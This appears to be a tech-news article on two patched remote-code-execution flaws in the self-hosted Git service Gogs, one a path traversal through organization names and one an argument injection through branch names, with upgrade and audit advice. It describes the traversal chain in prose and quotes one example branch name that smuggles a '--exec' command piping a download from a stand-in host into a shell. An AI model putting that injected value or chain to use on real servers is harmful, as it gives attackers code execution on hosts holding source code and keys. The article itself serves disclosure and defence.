Two critical bugs let anyone overwrite Git hooks and run code on your server — and for once, the fix shipped before it turned into the usual Gogs mess.
Gogs — the lightweight, self-hosted alternative to GitHub that a lot of small teams and homelab admins run instead of paying for anything — just shipped a patch for two critical remote-code-execution bugs. CVE-2026-52813 lets an attacker walk a path-traversal sequence into your Git hooks and run arbitrary code on the host. CVE-2026-52806, disclosed by Rapid7 in the same window, does the same thing a different way: smuggle a --exec flag into git rebase through a malicious branch name. Both are fixed in Gogs 0.14.3. If you're running anything older, that's the whole article — go update it.
Gogs exists because not everyone wants to hand their source code to Microsoft. It's a single Go binary, runs on a Raspberry Pi if you want it to, and has quietly become the default self-hosted Git service for teams who outgrew a spreadsheet of SSH keys but don't want GitLab's footprint. That popularity is exactly why a Git-hooks RCE matters more here than it would on a bigger platform: a hooks overwrite doesn't just leak a repo, it hands an attacker a shell on whatever box is serving your code — often the same box running CI, holding SSH keys, and doubling as the only backup. It's the same reasoning that makes Ray's own RCE history worth tracking if you self-host AI infra: smaller, community-maintained tools carry real infrastructure weight without a dedicated security team watching them full time.
How the path traversal actually got to RCE
CVE-2026-52813 is the more interesting bug of the two, and Aikido Security's pentesting research team gets credit for finding it. Gogs sanitizes usernames against path traversal — you can't create a user account called ../../etc — but it never applied the same check to organization names. That gap let researchers create an organization whose name contained ../ sequences, which Gogs then used, unmodified, to build the filesystem path where repos under that organization get stored. Nest that far enough and a bare repository lands outside its intended directory entirely, inside another repo's working tree. From there it's a known trick: push to the nested repo, let it collide with the parent's hook files, and Gogs will happily execute whatever hook just got overwritten the next time someone pushes or receives. Aikido's writeup walks through the exact chain.
CVE-2026-52806 doesn't need any of that. Gogs lets you merge a pull request with a "rebase before merging" option, and it builds the underlying git rebase command using the PR's branch name without escaping it first. Name a branch something like --exec=curl evil.sh|sh, open a PR, hit merge with rebase — and Gogs runs that flag straight through to git rebase, on the server, as whatever user Gogs runs as. Rapid7 rated it CVSS 9.9, because there's no privilege-escalation step: any account that can open a pull request can trigger it.
The two bugs, side by side
CVE-2026-52813
Severity
Critical (path traversal → hook overwrite)
Trigger
Push to a nested repo created under a traversal-named org
Fixed in
0.14.3
CVE-2026-52806
Severity
CVSS 9.9
Trigger
Merge a PR with 'rebase before merging' and a malicious branch name
Fixed in
0.14.3
Severity
Trigger
Fixed in
CVE-2026-52813
Critical (path traversal → hook overwrite)
Push to a nested repo created under a traversal-named org
0.14.3
CVE-2026-52806
CVSS 9.9
Merge a PR with 'rebase before merging' and a malicious branch name
0.14.3
A single unsanitized filename was enough to turn a normal push into remote code execution. · Unsplash
Gogs usually makes you wait for this. this time it didn't
There has been a long history of RCEs in Gogs, most taking a while to fix, requiring public disclosure before an officially patched version is even out.
Aikido Security
That's not a dig from a rival vendor — it's the researchers who filed this report saying it about the tool they were actively testing. This round broke that pattern. Aikido reported CVE-2026-52813 through a coordinated process, Rapid7 disclosed the argument-injection bug through its own vulnerability research team, and both fixes shipped in the same 0.14.3 release rather than trickling out over months with public proof-of-concept code doing the maintainers' job for them — a different story than Forminator's WordPress plugin RCE a few weeks back, where 600,000 sites were running vulnerable code before a fix even existed.
What to actually do
1
Check your version: SSH into the box or check the footer of your Gogs admin panel — anything below 0.14.3 is vulnerable to both bugs.
2
Update to 0.14.3 or later before doing anything else. There's no interim mitigation that closes both holes at once.
3
Audit who can open pull requests and create organizations on your instance — both bugs only need standard authenticated access, not admin rights.
4
Check your Git hooks directories for anything you didn't put there, especially if you delayed patching.
5
If you can't patch immediately, disable 'rebase before merging' as a merge option and restrict who can create new organizations.
Gogs RCE FAQ
Is Gogs still safe to self-host after this?
Yes, once you're on 0.14.3 or later — these were real bugs but they're now closed, and the disclosure process here was handled properly rather than dragged out.
Do I need admin access to trigger either bug?
No. CVE-2026-52806 only needs the ability to open and merge a pull request; CVE-2026-52813 only needs the ability to create an organization — both are standard permissions for any logged-in Gogs user.
Is there any evidence either bug was exploited before the patch?
No public reporting ties either CVE to in-the-wild exploitation. Both were coordinated disclosures, not emergency zero-days.
What if I can't update right away?
Restrict who can create organizations and pull requests on your instance, and disable the 'rebase before merging' merge option — that closes both attack paths until you can patch.
Self-hosting your Git service is a reasonable trade: you give up GitHub's security team, you keep your source code off someone else's servers. That trade only holds up if you actually apply the patches when they land. Gogs got this one right — two coordinated fixes, one release, no drawn-out embarrassment. Whether that holds for the next bug is a different question, and if you've read about the LiteLLM supply-chain leak or GitLab's own emergency patch this month, you already know self-hosted dev tooling is having a rough year across the board. Update, audit your access list, and don't be the team that finds out about 0.14.2 the hard way.
